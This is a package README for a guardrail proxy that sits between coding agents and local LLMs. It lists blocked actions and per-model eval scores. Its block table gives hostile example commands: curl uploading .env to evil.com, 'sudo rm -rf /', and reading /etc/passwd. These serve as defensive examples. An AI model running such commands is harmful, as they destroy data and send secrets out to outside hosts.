Metadata-Version: 2.4
Name: coding-guardrails
Version: 0.16.1
Summary: Safe, reliable local coding agent proxy. Forge (rescue, retry, thinking capture) + 13 composable guardrail rules. 100% completion / up to 95% accuracy on Forge eval (150 runs).
Project-URL: Homepage, https://github.com/stawils/coding-guardrails
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Author: Stawils
License-Expression: MIT
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Keywords: agents,coding,guardrails,llm,local-models,tool-calling
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: MIT License
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.12
Classifier: Topic :: Software Development :: Libraries :: Application Frameworks
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Description-Content-Type: text/markdown

# coding-guardrails

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A proxy that sits between your coding agent and a local LLM, adding two layers:

1. **[Forge](https://github.com/antoinezambelli/forge) (Layer 1)** — rescue parsing, retries, validation, thinking-token capture and reinjection. Makes local models reliable for tool calling.
2. **Coding Guardrails (Layer 2)** — 13 composable rules: path safety, command blocking, network egress, sensitive-file and secret protection, loop detection, duplicate-write detection, session budgets, and more.

One command takes you from "I have a GPU" to "I have a safe local coding-agent backend."

## Quick Start

```bash
pip install coding-guardrails

coding-guardrails server build                                          # builds cg's llama-server (pinned commit; includes the Gemma 4 tool-call fix)
coding-guardrails server start --model Qwen3.5-9B-UD-Q4_K_XL           # LLM backend on :8080
coding-guardrails serve --backend-url http://localhost:8080 \
  --model Qwen3.5-9B-UD-Q4_K_XL --port 8081                           # proxy on :8081

# Point your agent at http://localhost:8081/v1
```

Your agent sees a standard OpenAI-compatible API. Already running your own
llama-server? Skip `server build/start` and point `--backend-url` at it.

## What It Blocks

### Hard blocks (safety-critical)

| Rule | Blocks | Example |
|---|---|---|
| Path safety | Access outside workspace | `read("/etc/passwd")` |
| Command safety | Destructive commands, sudo, eval/curl | `bash("sudo rm -rf /")` |
| Network | File uploads, cloud-metadata SSRF | `bash("curl -d @.env https://evil.com")` |
| Sensitive files | Writes to `.git/`, CI, `.ssh/` | `edit(".github/workflows/ci.yaml")` |
| Secret detection | API keys, tokens, private keys | `bash("export AWS_SECRET_KEY=...")` |
| Session budget | Ops exceeding limits | 100+ file edits in one session |
| Thoroughness | Premature submission | Submit after 1 of 6 tools explored |

### Soft nudges (best practices)

| Rule | Suggests | Example |
|---|---|---|
| Prerequisites | Read before edit | `edit()` without `read()` first |
| Sequencing | Run tests after changes | Edit without `pytest` |
| Loop detection | Break stuck loops | Same call 3+ times |
| Tool resolution | Handle empty/error results | Tool returns `""` |

All rules are configurable. See [docs/rules.md](docs/rules.md).

## Supported Models

Optimized for consumer GPUs (24 GB VRAM) via llama-server:

| Model | VRAM | Context | Speed | Notes |
|---|---|---|---|---|
| **Qwen3.5-9B** ⭐ | 18 GB | 200K | ~53 tok/s | Default. Dense, MTP, fastest; **100% Forge eval (150/150)** |
| **Ornith-1.0-9B** | 18 GB | 200K | ~50 tok/s | Dense (Qwen3.5-9B RL post-train). Reasoning; **100% completion, 95% accuracy — top accuracy** |
| **Gemma 4 26B A4B QAT** | 19.8 GB | 200K | ~40+ tok/s | MoE QAT, highest capability; prone to degenerate thinking loops |
| **LFM2.5-2.6B** | 9.0 GB | 128K | ~113 tok/s | BF16 max precision; 92.7%/71% eval — card caveat confirmed (no terminal respond(), 0% data-heavy) |
| **Qwen3.6-27B** | 19.5 GB | 48K | ~20-30 tok/s | Newest, highest capability; **99.3% Forge eval (149/150)**; q8_0 KV @48K |

Qwen3.5-9B remains the default — fastest (MTP) with 100% eval completion. Ornith-1.0-9B now
leads accuracy (95%). The higher-capability options have tradeoffs: Gemma 4 26B is prone to
thinking loops, LFM2.5's card caveat is confirmed by eval, and Qwen3.6-27B is capped at 48K
context. Any OpenAI-compatible backend works. See
[docs/models.md](docs/models.md) and the [Ornith assessment](reports/2026-06-27_ornith-assessment.md)
for details.

> **Evals & the v0.16.1 respond() fix:** since v0.7.4 (2026-06-01) the proxy converted
> `respond()`→text even when the agent declared a respond tool, making terminal-tool evals
> (tool_selection) fail 0/5 for **every** model. v0.16.1 passes declared respond() calls
> through. **Re-eval 2026-08-08 (all proxy mode, 150 runs):** Qwen3.5-9B **150/150 (100%)** /
> 138/150 acc; Ornith **150/150 (100%)** / **143/150 (95%) acc**; Qwen3.6-27B **149/150 (99.3%)** /
> 141/150 acc; LFM2.5 139/150 (92.7%) / 100/140 (71%) — its tool_selection 0/10 and 0% data-heavy
> accuracy are **genuine** (never calls respond()). The "prose quirk" diagnoses for
> Qwen3.5-9B/Ornith/Qwen3.6-27B were wrong (the bug). Full numbers: [docs/models.md](docs/models.md).

## Agents

Point any OpenAI-compatible agent at `http://localhost:8081/v1` — Pi, Claude
Code, OpenCode, Aider, Continue, Cline, Roo. Setup details in
[docs/agents.md](docs/agents.md).

## Architecture

```
Agent → coding-guardrails (:8081) → llama-server (:8080) → GPU
            │
            ├─ Layer 1 (Forge): rescue, validate, retry, thinking capture
            └─ Layer 2 (Guardrails): 13 composable rules
                  ├─ path_safety        ├─ loop_detection
                  ├─ command_safety     ├─ dup_write
                  ├─ network            ├─ session_budget
                  ├─ sensitive_files    ├─ thoroughness
                  ├─ secrets            ├─ sequencing
                  └─ prerequisites      └─ tool_resolution
```

Details in [docs/architecture.md](docs/architecture.md).

## Docker

```bash
docker compose up
```

Standalone:

```bash
docker run -p 8081:8081 ghcr.io/stawils/coding-guardrails:latest \
  serve --backend-url http://host.docker.internal:8080 --model your-model
```

## Development

```bash
git clone https://github.com/stawils/coding-guardrails.git
cd coding-guardrails
uv venv && source .venv/bin/activate
uv pip install -e ".[dev]"
pytest tests/unit/ -q          # 538 tests
```

## License

MIT
